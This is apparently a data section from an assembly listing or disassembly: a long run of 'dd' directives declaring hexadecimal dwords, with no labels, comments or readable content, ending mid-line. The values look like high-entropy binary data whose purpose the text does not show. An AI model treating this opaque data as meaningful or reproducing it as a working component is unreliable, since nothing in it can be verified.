dd 0F5E4E95Ah, 7FE3B54h, 2501087h, 0D47D89ABh, 717DC9FBh dd 1F40ABD6h, 0B3799268h, 0A210548h, 0BDC427DBh, 2B7559C1h dd 60A7A27Ch, 0DBCCC1F1h, 748B9D5Eh, 0CAE90E06h, 0BE3F3A54h dd 477316F2h, 76229706h, 0B0C102DDh, 1FAD0CAh, 2BA92741h dd 0E8EF9CC4h, 0D853A7BFh, 0E727FDFEh, 0D4902794h, 0F0EAD15Ah dd 0CC945E64h, 540307Ah, 6C6B02BBh, 0D3F75B21h, 742A16E0h dd 0E9272572h, 0B4056026h, 0E5200985h, 0B2D85866h, 4A896813h dd 1A1836FAh, 7AF4E22Dh, 504D02ACh, 3EE917B4h, 50A11578h dd 24672C83h, 0DF5A015Ah, 47BFF1EEh, 9A2132h, 3CBD1D9Fh dd 7A98F229h, 0D6DF7C69h, 0AEC21370h, 0B005EE21h, 2922B36Bh dd 8F24D238h, 500B4101h, 4F70D101h, 1B6E9D6Ch, 7BF4F6B5h dd 5153A116h, 0C8C89B09h, 2C113581h, 29A6157h, 76297187h dd 78A721D6h, 410B839Dh, 3AA5170Ch, 14B1C25Fh, 0BC28207Dh dd 0DA70FEB0h, 5CDFD7E7h, 0FDEB7610h, 7B246246h, 21A881A1h dd 0DCF87E1Ch, 8460E913h, 4ADAACEBh, 46B7599h, 17DE1A9Bh dd 0B0F306EBh, 0C53573FAh, 321D06C4h, 0A106F3B1h, 0C862E93Eh dd 0E430C402h, 1F20E981h, 0DBF72F1Bh, 15882B48h, 0C033532Dh dd 17092D77h, 0F89227F2h, 0E0892645h, 1324F608h, 1563EB5Ch dd 0E9059C5Eh, 4F052EDh, 0AAFC7E5Bh, 66F70780h, 9800F11Ah dd 563EAD09h, 861060D1h, 2C4CE46Eh, 1086FB31h, 9DBA0070h dd 8139DE7Ah, 402A09CAh, 9F8E254Dh, 2CC01680h, 79733E9h dd 9B625514h, 0E07576BCh, 4C356850h, 0B92A9BDFh, 0EE835B17h dd 168B17B0h, 93BBD3Ch, 0D6E82E16h, 5D8217DAh, 42A5F859h dd 50C85F65h, 0B38055C5h, 0B90F9F29h, 0AF166245h, 0BF5D1BDCh dd 8071CEF4h, 0EE53133Eh, 78F6D6A0h, 0B3C4BDD5h, 0DE4561FDh dd 81CB14D7h, 307C5F25h, 0B7AF1526h, 301C90F0h, 44BD582Bh dd 36250009h, 0D1327211h, 8E235E8h, 649D1879h, 12E3DEEDh dd 0B98AEAD4h, 1B3A4D7Ch, 6737681Fh, 21F18198h, 0E0906AFCh dd 850EDC0Bh, 0C481801Dh, 0B8441C5Eh, 52983EF1h, 5215C16h dd 0FAD1F7F2h, 85A5A4F2h, 4BC6EDAAh, 4E9CCAAAh, 68B4C1EAh dd 6B48F9B2h, 1CF6C7F0h, 0D47D4221h, 49143789h, 253A4455h dd 8326BD80h, 0F529D002h, 0C31C5E61h, 81F0BC2Ch, 5C3AEEE6h dd 0C711298Ah, 98E33BB7h, 0D0EF7D5h, 0A423008Ch, 0FDA60531h dd 0A9691C7h, 81CF0107h, 0C4754580h, 0B570900Bh, 3B59C0EAh dd 4AB3D249h, 0B948807Ah, 7E2D58F5h, 296F0521h, 68A880AEh dd 0DC0F18DEh, 7782E92Dh, 5066AC9Ch, 5AD5D38Fh, 508F88D4h dd 0C62F527Ah, 4892F717h, 5D1849F5h, 182F43F9h, 348618D4h dd 0D99F9B7Ch, 0E6DC2FC8h, 81B21608h, 880239EEh, 0E3924063h dd 95981022h, 1B57F604h, 0D1AE1579h, 738AA9AFh, 0FB807A0h dd 96F59E5Ah, 143106AEh, 0DCF12177h, 0D3C0100Ah, 23A1AAEBh dd 23459F1Dh, 1412988h dd 0EC2D7ABFh, 0BC43013h, 0A10B1993h, 52A75C88h, 259264D5h dd 86F47513h, 259D10E3h, 0E1F95134h, 0DDFD1FA8h, 0C9577FC5h dd 0C1888DBFh, 2CF9FCF0h, 0A2E9900Dh, 0FF2A9D3Dh, 0EA5FB223h dd 2F23DA4Eh, 9044D406h, 4613DE4Eh, 3E2DCDFAh, 16932CAAh dd 0F3D7A960h, 2FB48D12h, 2E7C09C7h, 343D0C9h, 4564F781h dd 835BDAC7h, 39FAE313h, 0D6A120A6h, 0EE35D195h, 40206A0Bh dd 0B9515DEEh, 33E64CEAh, 0B79CFCh, 0FEDFF6FDh, 4061B8CFh dd 0F25B017Ah, 181645CBh, 0C439240Bh, 0EEE2AA18h, 0C21B4B7Fh dd 34435B7Bh, 28294AF0h, 0F5160090h, 0DA1FA17Bh, 8051C34h dd 1417B850h, 0CD3849E8h, 0C977CD5Eh, 59DE48ADh, 67EC3AE3h dd 0A7834593h, 0A0195356h, 0FC4A5B4Bh, 3210F2A3h, 505E2CC0h dd 16AA22BFh, 49866B8h, 0BCA5E006h, 4550CF47h, 0D8889E08h dd 5DB9B0E7h, 0EF4E0972h, 0C990F48Bh, 7464680Ah, 0E4016F95h dd 78535706h, 2556CFD5h, 7180D7BFh, 20ACE94Ah, 0EA38FF37h dd 0C3B697B9h, 475444AEh, 1DB2EBDFh, 0B27AD541h, 0E1B30818h dd 2E112DFEh, 0D1992E4Fh, 0F0542DDh, 0FCF20839h, 6F26815Ch dd 0C46F18F0h, 7D61E099h, 0F42A7341h, 1F1FB14Dh, 74BC830h dd 0AC6D7C2h, 9FD2AB98h, 901DB13h, 28B869AFh, 0CB78F33Eh dd 4294745Ch, 1CF49AA4h, 9D0D1650h, 4E98FE4Ch, 3DEF8F88h dd 787D1D13h, 668D8101h, 9C213B6Bh, 9F087CA0h, 0EAFD1242h dd 7FCC2B8Bh, 9E5A34CEh, 0AA2B39F1h, 0F51D2E2Ah, 1185316h dd 816C1938h, 5C5C86Bh, 0E927516h, 128AC4EEh, 85AA0408h dd 0EADCBBAEh, 0CB59BD29h, 0D79DA70Ch, 987CBDC1h, 5B1DA42Eh dd 0EAF71B71h, 9DD95630h, 21A0A994h, 4E3C3327h, 54FEB10Bh dd 5D023F67h, 81C000DDh, 0F661FCE5h, 56A0C225h, 3B602E01h dd 1A2554E9h, 0EEBFF86Dh, 0EE3A53D2h, 26BBE37h, 0CCCBCE29h dd 2036342Ch, 0CD01BD04h, 587D4FCBh, 4F1937F5h, 0D4726E09h dd 2D071F97h, 29EE4C26h, 0FEC2E815h, 95897D3Ch, 0E35B5EF4h dd 0B08A045Dh, 0EB8268F9h, 822A45CDh, 0FA5FD7B2h, 0C60A2A28h dd 622EECF4h, 0E1C156D1h, 0E62D30FEh, 1D5D9E0Bh, 0D2641E6Dh dd 0F68100E6h, 18FF21F5h, 25690A9Fh, 0DF275424h, 0FD0F560Bh dd 0A3E94842h, 0B90149FEh, 35950C5Eh, 213C1931h, 64C4FE4Ah dd 0E9098CB6h, 46FFF5B4h, 7C6827ACh, 0A4B036EDh, 1A84E5Eh dd 0BD555014h, 89724390h, 0F29FA9DEh, 2D5EB798h, 8380C692h dd 0B6D831ADh, 0D95D52CCh, 0D5E858B3h, 3B98FE5Eh, 0EFFE952Dh dd 5C6822Dh, 4EBB0073h, 94C4E128h, 8BE33716h, 0EC8F4913h dd 2146C4C8h, 538E800Bh, 63D1EF67h, 0ABF47ECFh, 532D851Ch dd 3C8A2CC8h, 0E64BE0CDh, 83660BF5h, 0C9D840C1h, 0BF2A5ED2h dd 53093444h, 0B36E77BAh, 7F07D19Dh, 0FD8835EFh, 0C6E05EA5h dd 88E9045h, 1086E48h, 1CFB2E01h, 0E03B8988h, 8D09F2AEh dd 840BA337h, 0AC0E1127h, 127062C9h, 42D7DBB5h, 0DAF03EE9h dd 9D70FEBCh, 0E8798285h, 70756841h, 0FD9ADC78h, 0B00CEC7Dh dd 0ED71449Ah, 9E0C5595h, 6916FD0Ch, 65BE702Fh, 0FBE1BE77h dd 486A0A2Eh, 1FF5A095h, 7D7332A3h, 0FEF4D88Bh, 0ECB0087Ah dd 4F776305h, 0A8189E0h, 8C2BFD9Ah, 93BDC2F8h, 3C4CB0B6h dd 49334CD5h, 76657704h, 0A2C2EA72h, 20BE5821h, 0AE96C5AFh dd 613DE201h, 0B3406347h, 0E540601Ch, 0D7EE5461h, 63545F18h dd 971EA73Eh, 79908D9h, 0FF04E1CDh, 7AF39234h, 0EB0BCC12h dd 6643242Dh, 0B4FE1C5Dh, 0AA101309h, 0E01C0D81h, 60102476h dd 0E8985151h, 2E4E4650h, 0F51309A8h, 2A28FA17h, 0B6024EC6h dd 0F7660A5Bh, 250828F9h, 6FB60EB8h, 8C2D91E4h, 0FD90539Dh dd 0F5B8501h, 55F86831h, 14DCD968h, 15D3C091h, 680B0661h dd 597B0B13h, 7FDDA7BCh, 0F1E3A438h, 0F175F2A2h, 1EC44B42h dd 12166220h, 370FC568h, 42638245h, 0BB601274h, 5F147EA0h dd 5C1E81Dh, 18C5C381h, 5F7D1BA0h, 9B6F71Ch, 55DEB29h dd 0DE444DC2h, 0E8BC5AD3h, 6B8C68C2h, 17FD4C77h, 0EE8357E9h dd 75B5AF35h, 91B075F4h, 3CC90667h, 693860C1h, 2BBF4E06h dd 0F12116E1h, 305629FFh, 0F0426AE0h, 0FAD75389h, 51430FD1h dd 504B8B9h, 0CEA2EF08h, 2557C910h, 5B6F6868h, 95FCB505h dd 5F9CC02Fh, 9B098234h, 0C4F2C27Fh, 10F62F78h, 596490DEh dd 342A6EBh, 7E44719Ah, 4668B852h, 47D32656h, 44F51D5Bh dd 0C04B8C1Ah, 0F4E1D509h, 3015A2A0h, 41C29A83h, 0EE045B6Eh dd 0C74F308Ah, 1F5E10E5h, 0E92C4063h, 2D82B139h, 40B609F7h dd 0FA05E099h, 56A84076h, 8A4EE4ECh, 891AFA91h, 0C83D5726h dd 0FEE6840Bh, 7BC48FE4h, 16569B68h, 877FAD6Ah, 0F9B75152h dd 0E7F8CAD4h, 0D8C1CE20h, 61487FC6h, 0BE4A9978h, 0A94509CFh dd 0D4813960h, 0AA9767A1h, 0EF132BC4h, 4D6F38AFh, 68B2D661h dd 26361BC0h, 0CB561404h, 85078565h, 0F11DB46Ch, 98BE52F0h dd 68BC5812h, 0F7C84A38h, 0C7288077h, 4025F3A4h, 0F7C2C80Eh dd 3B3D251Eh, 0E918C875h, 5ACD696Fh, 5FFE25h, 0D05AE0CCh dd 0A600254Ah, 3504CE2Dh, 0F8C6A7Bh, 42970532h, 3EF730E7h dd 5F2E10E0h, 0C7503196h, 7C920A9Fh, 7B29DE77h, 62AFD17Eh dd 0CD7A8275h, 87750955h, 61147003h, 52EB7BC5h, 5C240525h dd 0B0DABB17h, 0E1EBAC4Fh, 0AF0466AAh, 4EC0EBE5h, 46212E33h dd 6D6C01C3h, 89F743E3h, 577A4F9Eh, 204982C4h, 6D2D02A8h dd 414DF266h, 0E8830641h, 0B0FD0548h, 14C190E2h, 0D0EF0539h dd 63A06843h, 24756D9Ah, 64047F82h, 5A37AEE0h, 0FA34A7F2h dd 5FEA0244h, 89BCB1D9h, 0DB93C582h, 7D716807h, 9A24086Dh dd 3E5379F6h, 5B7E978h, 1F54266h, 0E120987Dh, 29DD1254h dd 8F7FE931h, 0E4BFB2D1h, 8400CE51h, 742D3F87h, 90030561h dd 80B2909Bh, 64A4E908h, 82CB362h, 0C143A6B3h, 7B140368h dd 0E9C36AF3h, 34139BC3h, 0B2D2885Ah, 9946F56h, 0F058D1E9h dd 495CBB09h, 0F2F5CE1h, 1D251728h, 7410EA29h, 923A4D08h dd 0F3005516h, 6CE93310h, 0E720BDA6h, 5FC0F9Bh, 6384FD9Dh dd 81B6D426h, 4CFD50DFh, 0AE2568CDh, 8E165F55h, 0D09B56B7h dd 8A27E952h, 8AB2D35h, 0CD8E3F00h, 0F0DB5A5Dh, 0D94A6E28h dd 165AE1B3h, 0AE09BE75h, 58825B7h, 5154A4ABh, 1AB1ADD7h dd 0CE1C0964h, 59C94F63h, 0A89354AEh, 6AA74031h, 1E5D2117h dd 18D46488h, 0C35F166h, 0CAEB9523h, 0E5358B55h, 310B8978h dd 0D1991702h, 5CB57452h, 41572706h, 0BC6AC2DAh, 0D8BC4115h dd 77C7A2Ah, 51F6CD04h, 0BCBA694Ch, 7748C345h, 0C7878C33h dd 0B4308AB0h, 53F54901h, 3420EF93h, 90DD4655h, 26BCF27Ch dd 8F5F43Eh, 4800369Bh, 0C0C9252Dh, 63D89539h, 24CB3EE7h dd 6A3C0500h, 685D12B8h, 1856B42Dh, 0B6EBE82Ah, 0B3CB016Fh dd 0DB45994Bh, 0BA37C5D5h, 6F31800h, 0C939C396h, 855951F7h dd 20386B60h, 9EB91273h, 0EFF61697h, 0BF13040h, 0F249082Fh dd 8D8B1CFh, 652596D2h, 1FE4B2A7h, 2AF39666h, 5A9C2F2Ch dd 4E38AF11h, 8095406Bh, 0CEF248h, 30585AD5h, 275259EBh dd 0A5EDBB6h, 7F48AF0Bh, 0E6EE6B38h, 0C2806082h, 0A3D88265h dd 270674C8h, 0A660D2C2h, 39C5710Fh, 56B2E75Eh, 0DE2F3078h dd 77AFF3A1h, 2812722Ch, 89C63807h, 0DA1431A5h, 0A4CE398Eh dd 4A002153h, 0E9C6457Dh, 7BADE7A6h, 0C10488F8h, 73324406h dd 851391Eh, 32684E24h dd 0CE8B7F14h, 0ACB54868h, 9825527Dh, 8BF3D127h, 22A064D1h dd 6C0F63BEh, 0E6816701h, 2EAB5346h, 6FCB27Bh, 16BC654Ch dd 4EF3010Ch, 85E948A5h, 4DE87FA4h, 68585F80h, 33A82D63h dd 4416C0BBh, 20BA69CBh, 3D3F97D4h, 0C2927ABFh, 1D181CFAh dd 6806ED68h, 3989EB58h, 1685C10Ch, 81200755h, 8406E73Fh dd 294B0A12h, 0E9F7BF83h, 0DFDA783Dh, 0B83F97E4h, 55F696D7h dd 39025808h, 0DB2DD802h, 86774449h, 5F61B931h, 0ED76E5EEh dd 5D79687Dh, 25B3C54Ah, 7EE3628Ch, 0F97EFFBFh, 3A8ADFF6h dd 0FC032C10h, 1108D621h, 289A170h, 2FD4EFF1h, 638642F7h dd 1364C07Ch, 0E2766420h, 72F9BA05h, 2B4864E2h, 37EEE5B0h dd 0F082BB48h, 17856856h, 8B440F35h, 0D0FA1235h, 68455701h dd 179A521Fh, 20C02370h, 0E497772Ch, 0B98F4076h, 0F8277AE2h dd 40F4563Ch, 0F5D85205h, 0F99001F6h, 0E286FE9Fh, 0FDF0DCE9h dd 0C2824950h, 0CBF8694Fh, 1DADC904h, 0EA13847Ah, 30E1AB03h dd 0F73AC86Ch, 24567BD9h, 405767DAh, 32874F79h, 3E1F60B8h dd 0CB06547h, 0A0E20843h, 975EF39Eh, 0FE9FB158h, 0E8451318h dd 7EA85B92h, 6E2A68ACh, 4358638h, 1AE38E7h, 0D30918F6h dd 10E93829h, 584CDC5Eh, 1A04AE25h, 58E2AE5Dh, 0F37913D2h dd 50D1930Bh, 657F7C40h, 4F7FF58h, 0C0B4C24Ch, 9A6E7C48h dd 88BA3F01h, 1C06591h, 0BFEF4D64h, 9A28C274h, 8009AD0Bh dd 0A9D2257h, 516806D8h, 5D09EEC4h, 61F70509h, 106C5EC2h dd 2871129Eh, 513D588Eh, 0D946AD68h, 675E8BD0h, 0D5C97759h dd 0B56269F1h, 277212h, 52EB7064h, 51EDD14Dh, 2E7FB904h dd 0C805C19h, 0FCA0144Bh, 0C7F9841h, 2F4616F8h, 5F10500Ch dd 0F4072597h, 0B2F1836Dh, 7C550B67h, 0C97C8A60h, 816D3h dd 0A3C58006h, 2F561B68h, 0B55103A9h, 5BF5E99Ch, 10CFE6C7h dd 2D073B9Eh, 0FCD5578Ch, 7A1055Ch, 86056A5Fh, 0B044453Ch dd 0B5B35990h, 7DD4307Eh, 6853DF97h, 963EFE98h, 36439347h dd 54F43425h, 0B6EA02EFh, 0F989AD41h, 6273597Dh, 0BC760847h dd 6C7F6861h, 4A72A67Ah, 37C69ABBh, 0C0849852h, 9449510Dh dd 6F99D312h, 646FFDD0h, 0C8433581h, 868CAD10h, 64DB25F9h dd 0EC7534C2h, 77C6B232h, 7F5966Ah, 14895DCFh, 0F4129018h dd 5F3F2E76h, 0A3E904CDh, 0FB29BA3Ch, 0C689986Ch, 580027C5h dd 3228355Eh, 2D690501h, 36C4C9Eh, 6B82B9F2h, 0ACC946DAh dd 65ECF1CDh, 6FB661EAh, 0C629D7F4h, 0A3921CCAh, 14342CC2h dd 0E2675F1Ah, 54B4E984h, 70C1EBACh, 73264129h, 5AEE4826h dd 0E65F3EB9h, 1A097CACh, 960EA90Ah, 0AD995D9h, 0FAE7E983h dd 394D04FEh, 0F13A5437h, 94C3E4F5h, 79172316h, 4BB8BA00h dd 4E01196Ch, 0D092AADDh, 64BFC05Ah, 4CCC2C5Fh, 27A0BB6Dh dd 0EB3883F5h, 19D475h, 0BA68E150h, 4DE94303h, 0EFC7D564h dd 580DA8BEh, 0E2B725D9h, 0B39E7792h, 0D212AC4Bh, 0EDE74E00h dd 0C3165679h, 52380846h, 0E9FD01B0h, 8604A95Ah, 50AA3558h dd 40B2878Ah, 7209C750h, 77091437h, 9B824F86h, 3CB9EB01h dd 0F3290D9Dh, 9808C2A0h, 0C4505E28h, 4CCAEF9Eh, 0AFEA83C4h dd 4BE92830h, 13EC3F3h, 69C151EBh, 10FB76F8h, 5706EA5Eh dd 0FF4B5B68h, 60120359h, 0D07D2616h, 0BF66F63Ah, 5EB525C6h dd 2D4F8025h, 860D3411h, 52D00A04h, 0CCE86CE9h, 1F72BD03h dd 0BD171ABh, 0CDEC3BA3h, 5E59E8B5h, 10901AFh, 7A4768F9h dd 1EE35545h, 824327FAh, 91DDD414h, 4ECC3CBFh, 83F31EBFh dd 555AE54h, 0AE9DDBE9h, 922051C9h, 37C46F31h, 0BADEE5E4h dd 8F48128Eh, 16EB7901h, 62417BE9h, 0FFB59623h, 0ACA7BC2Fh dd 2C783168h, 4811FAC7h, 5B441BB5h, 28AAA8EEh, 4B35F8F0h dd 87668C15h, 0AC8CE54Fh, 0E063103Ch, 3FB80573h, 1EE44CBBh dd 30F24131h, 1A1232FFh, 0B5AC1518h, 663DFB4Ch, 5ED8B34Eh dd 7B861444h, 147DC242h, 0D317F3DEh, 1F064BAh, 0A87E54F3h dd 7A4A2053h, 788D8853h, 22BECF4Ah, 91D45F46h, 9A02EB88h dd 83C27133h, 0D8AC6CF3h, 54E67F27h, 9061A74Bh, 0B33F1EE8h dd 27543DC4h, 7BC0EFBh, 0E32080C3h, 0B51C6068h, 5AEC7551h dd 65B10551h, 0F830BEB0h, 4B972735h, 0AB204A97h, 2FC24487h dd 0A267E417h, 8FD8D5FBh, 88915E4Ah, 0B67EC372h, 97831941h dd 987AE393h, 0F5602990h, 7263C367h, 5B354CC5h, 9F45E609h dd 87C897E0h, 7F755F25h, 0E86636E0h, 0F99EC49Eh, 1007C70Ch dd 5E7700B9h, 8ABA4703h, 0B87FFCA1h, 41F665E7h, 787587BEh dd 57899F0Eh, 8E21DE53h, 0BA176F01h, 30E9FE9Ch, 0BF718441h dd 7D4C623Dh, 11D710A0h, 0D76A582Dh, 2DA1D657h, 0D360A179h dd 0B70378E9h, 0ECD5721Ah, 28AD32C1h, 0F0564371h, 0A6565D12h dd 0BE84A6F9h, 0F2AD0F99h, 40C33F00h, 2C893991h, 27B58C2h dd 43FB3B5Eh, 34A0C5E3h, 469E366Fh, 0E4DF280h, 1605450Ah dd 5D80712h, 42DD029h, 0E8AEE907h, 75FB5B77h, 8498FEE0h dd 4EE91550h, 0CE648368h, 9CACC302h, 20C2124Bh, 0F770C281h dd 0AF603551h, 5FB75366h, 7B93A08Ah, 67FA344Ah, 0C5D0B354h dd 0CD226364h, 8309AB12h, 0A05970B1h, 2F5F78ECh, 7B763E0Ch dd 0A7028668h, 753F5B6Bh, 0F62D7B48h, 24D1052Dh, 6280CF40h dd 4B491602h, 6065AA30h, 0E8D290B6h, 0F684D224h, 0D29CA9BBh dd 84076FFh, 5646BD1Dh, 11BC69D2h, 67FCBC25h, 0F4F33662h dd 100389DAh, 4562D55Eh, 4FECC444h, 0FC14FEEFh, 0B5E016D6h dd 4AEACFBAh, 6BF19B85h, 0D3C4A23Fh, 4A523CABh, 25500B40h dd 0ACFCFC88h, 0D40EE219h, 0B858E3E4h, 0EECE4918h, 0B31BE03h dd 0D62F702Fh, 25A1F2DDh, 887C766Ah, 791FF968h, 20132539h dd 0ABA60512h, 56DFA018h, 0C652D6Dh, 8A094D6h, 5FC9E93Dh dd 56DEB4ACh, 88C74795h, 0D057B9CEh, 7CEE38A0h, 3C5CF725h dd 0DA81ED13h, 0E32A6855h, 0DF3217F0h, 4EDE27FCh, 0FF170C96h dd 3E96E2C9h, 64883D46h, 512D53D0h, 7603F55Bh, 905EF7F8h dd 371CC5BDh, 0AB39384h, 0C1E68D8Ah, 2FFEE86Fh, 55C9A6ACh dd 0D840A5D8h, 6CC107BEh, 0DF464842h, 0AB7DA59Dh, 0C8257D63h dd 0D83EA5Eh, 4E809EC1h, 0B8FF80D8h, 7F055168h, 58C501A5h dd 0C7394E90h, 5B5F84FEh, 98B167FCh, 0BFDD50EFh, 0FB3D6ABBh dd 0AF449768h, 5EF620AFh, 1903F20Dh, 0F32D16BFh, 8136F25Bh dd 75CB6D6h, 0F9DE3288h, 0B7085C3Ch, 17E0D3FFh, 0F7E00FBDh dd 0F491510h, 0C17A5458h, 0FC2D0813h, 0BA5313BBh, 3E2A007h dd 5EFB7709h, 99F15E2Fh, 2A593D3Eh, 0E9B1D8FDh, 7D002E3Ah dd 8B67AC2Dh, 34D8EB38h, 0BF695B0Fh, 2AC9228h, 0E9287415h dd 3CA8B8Eh, 48A8BB40h, 645F0F2Dh, 68523B3Bh, 7E5B6284h dd 41FCEE5Ah, 630AB90h, 80DFB225h, 0FE01C21Ch, 8E2C0C6h dd 9012A107h, 0EB5B0633h, 0EC2BE939h, 0BF548497h, 73C381C8h dd 2494906Ah, 62364089h, 4B5FBB53h, 8D2805C4h, 816DBE19h dd 0F85E3A06h, 0BD25E972h, 0AA8480Bh, 76592463h, 38FC2D63h dd 0FCC7B39Eh, 8DE5E966h, 9F7F27A4h, 3E594E41h, 0BE30EA2Dh dd 70AF8229h, 0D2A7FE05h, 6557E587h, 0EB8B3D57h, 22503BE9h dd 0CCCE7BC0h, 9F74B161h, 161312D8h, 0C1AE0A42h, 7FEEEB50h dd 0A4D26CB8h, 0F05BC559h, 0F5AA7F95h, 6D2F00Ch, 13034E9Dh dd 0CC694868h, 20B5F87Eh, 156BF6D2h, 80206043h, 4C04652Eh dd 0A14EE970h, 0FE287770h dd 552C3A5Bh, 1508F0A4h, 0E90FABBAh, 93F6EBC8h, 9EA94C9Ch dd 0F4A17B8Dh, 61DB27Bh, 0B5DB7616h, 0E4360A0Ch, 129EE08Ch dd 48E4B1D9h, 5C4AE9DDh, 0DDBF49C4h, 0F8F3F468h, 67F64DACh dd 5E12EC94h, 0BD1119F6h, 0C6142D45h, 59E916B6h, 0FE96EFCFh dd 88C402B6h, 0C801D025h, 0BFD51CD7h, 0E9F8A056h, 598D6275h dd 6EE306EDh, 7A9A4FA8h, 0E3C08B4h, 0A56AE3F5h, 0C8BB540Bh dd 0BD5DDEEBh, 55F52F25h, 0FDB3B8A3h, 0D4C1EF2Fh, 0C10CB47Fh dd 0A54EBE2Eh, 860D7D52h, 92E82B0Ch, 59CBD648h, 571837D1h dd 0F655A90h, 0CF894DD9h, 0B1FA09EBh, 0DB2D040Fh, 72094Ch dd 354312A5h, 25419861h, 16FCA0E5h, 40853C64h, 3F369DAFh dd 69C6AAC0h, 4D2E2EABh, 0A0412710h, 0D415ACC0h, 0B53157AFh dd 0DD78FEE9h, 0CBBB5E4Eh, 7C977AE9h, 165FEB6Ch, 0FE5A4A6Ah dd 0B3BBB174h, 7CA0055Eh, 1AC274FDh, 0D3BE00E1h, 3CB8952Fh dd 363E601h, 0C0E94B70h, 81589593h, 21BA82Dh, 694CE5Ah dd 8B2199EAh, 0C097616h, 0DF2DEF4Eh, 809DD62h, 0A1A0BF16h dd 3B1366F1h, 380B5A0Ah, 40857E3Fh, 67C877B3h, 0C53CF7ECh dd 0EB41AC7Dh, 5494D919h, 9812E42Dh, 348BAA05h, 0D1D10112h dd 37A72BD4h, 0B3086025h, 48D830E4h, 4D12365Bh, 4ACDF315h dd 87E04705h, 0C39D94B3h, 2CC828BFh, 421659A3h, 89ABF406h dd 71D4E4D8h, 7EEE6A9Fh, 514E43DAh, 0DF9BA2DCh, 0D1C3B189h dd 0E6688E06h, 303B9957h, 31809674h, 0A429DECAh, 0F557301Eh dd 27257D84h, 45C4FE4Ah, 0E3C6BE19h, 0DD1B0F1Eh, 0CD80C408h dd 72AC5CBCh, 2727F1B7h, 7021971h, 0FF082CE9h, 0FB2F8AA5h dd 1A31C17h, 0B7F8BF89h, 0CF68580Bh, 0ADACD157h, 2528A2F1h dd 0A9C4594Fh, 1CDF5EC0h, 0F76517ECh, 11B421DBh, 505203CCh dd 12E23995h, 0C4FB7F6Bh, 0E920502h, 0D96880F9h, 0DF971068h dd 0D3D3B584h, 1898B92Bh, 81B57DD2h, 7AD82787h, 1335E1D8h dd 0FF67AE3Bh, 32297144h, 54236CEFh, 51602E91h, 0C21DF0E9h dd 239B6838h, 0F96036FEh, 153DC95Fh, 0D5CEE958h, 6D27DE48h dd 7B568707h, 49E6D5Fh, 8008EAC1h, 660BF79Fh, 0BE71458h dd 80D110FFh, 7562BE89h, 0E9200D72h, 7E6018E6h, 66C47A5h dd 0C912EA4Eh, 1813A8F8h, 0FF6DFB91h, 80B0F96Ch, 77973BC3h dd 68A2D00Eh, 739108FDh, 70F67A56h, 787CAF10h, 915FFA28h dd 0FA0FD03Ch, 0B5B13CB5h, 149740D0h, 23F920C8h, 0A6965D5Dh dd 4155908Bh, 54827ABAh, 5C0577DDh, 4A10AA5Bh, 0B0F1028h dd 23D5326h, 61D7A49h, 1AF22E40h, 514C4614h, 0BCEB04BAh dd 90BA5733h, 5E9DEA0h, 5800EE9Ch, 0ED80D528h, 5F4AF617h dd 487289F0h, 0E17BACC4h, 2C3C180h, 68CAF78Dh, 97992AE7h dd 0C433685Eh, 0ECEFF021h, 625E4B0h, 2D60B4ABh, 9CFCD05Ah dd 9C03E690h, 216854D8h, 49B3FC40h, 0F0C92A25h, 3063FADEh dd 151886BFh, 6E14A712h, 40CDDF29h, 0BB25E908h, 0C929D971h dd 0C1B97977h, 3E684BE9h, 10183D40h, 48F7778Dh, 841E53DDh dd 0E9130458h, 0A016971Bh, 38AD0C3Ah, 1DEA294Bh, 87E6FA0h dd 0E90511C8h, 0EFF2255Dh, 5E56BA4Fh, 0B934AFDh, 0F7256C1Dh dd 19DBFB5Eh, 9F3DEE4Bh, 0D14ECE22h, 0C3675BDh, 718A0CBEh dd 7A5E2E98h, 0D1678E12h, 2255F8A0h, 0CC002BDh, 36C74850h dd 0E9EF0929h, 4D22BE65h, 0D1742C8Bh, 96F5955Ch, 0A9E91735h dd 8167F2E2h, 459D685Bh, 2F782E23h, 0AD514FF2h, 6F4D599Ch dd 0C020857Bh, 310084F2h, 81720869h, 2E06CFCBh, 0F232EAh dd 18666CABh, 90B425E9h, 54274B24h, 27DB105Fh, 0DCC5ABBFh dd 39F42751h, 5044C687h, 91022865h, 776F76E9h, 0AB2F99CCh dd 0C06C1249h, 3F7372B6h, 921A446Fh, 0C871CCCh, 0BE8984FBh dd 8ABA4212h, 9D324F6Eh, 537C5F29h, 6889DEC8h, 0FE9E5502h dd 3865253h, 282FF380h, 0C8C6D1DCh, 0AEF9416Eh, 7F54AF70h dd 51710D80h, 0C0414E36h, 1B08E514h, 11304E30h, 4AB61F5h dd 7EE9C547h, 4FBACAA4h, 7ECCF562h, 0EE053DA2h, 8335105Bh dd 1478C5ECh, 2DCE893Ch, 0B86CE0EFh, 3F601E7Ah, 0EC4F8508h dd 8B14A4FEh, 7CED572Dh, 0E4A6BA7Fh, 87F1873Eh, 537FD95Bh dd 7CE90541h, 0AE1ED5B9h, 0C1925EC1h, 68593482h, 47F57728h dd 805C648Bh, 8E4EECF4h, 1AA1714Bh, 0BF57078Fh, 6A7D6D61h dd 3A102531h, 0BE437FB0h, 0C9722E63h, 68202050h, 10A99D8h dd 4F6F91BFh, 1E688066h, 8128AD12h, 22B801E6h, 2E92AFCh dd 17416B83h, 29493308h, 289CF3D8h, 4F8BFAB6h, 5468C205h dd 64E3DBF5h, 0AA0B1387h, 35C67FB3h, 0B2C0A320h, 0C2A24B60h dd 7E5F51B9h, 2D5C5893h, 84E6A89Dh, 0C266FB00h, 0CF78146h dd 3438565Dh, 7D17790Ch, 3BE01DDDh, 9E2F9D04h, 4B3094A2h dd 0ED114640h, 0ACFF5A81h, 7F6B83AFh, 745098CBh, 0D154F635h dd 6105EAFAh, 214B441Dh, 80435E82h, 680DC384h, 0DA09092Fh dd 9F59DE9h, 0C4AFD434h, 16ACE014h, 0D20EB41h, 0A06FE8FCh dd 7F5BDFA7h, 835D9D81h, 0B9F901EEh, 0EF62EF52h, 5A02935Bh dd 8AA73DE2h, 0D6AB6F4Ah, 0B2F9C2Ah, 19B14E3Eh, 3B052532h dd 0F04CABCFh, 0AEA71D85h, 0C25B328Ah, 9074A6BDh, 0C42BF62Dh dd 6D8CEA29h, 31E15ACDh, 3BBDECFh, 5F253756h, 0A1E73B9Ch dd 270953BCh, 4B822AE9h, 45724800h, 19E6D14Ah, 25131A68h dd 48132EE0h, 12449BBEh, 7AD48502h, 0EC84F1AEh, 0DC95FEC8h dd 0C57F5A4Dh, 7168854Ah, 0D148BC36h, 0BE0C1030h, 4ECCEF40h dd 29289875h, 0B427ADB2h, 8FFBA571h, 439A76D5h, 0EB020643h dd 2DFB3888h, 0ACF73A00h, 535359C3h, 4D48C004h, 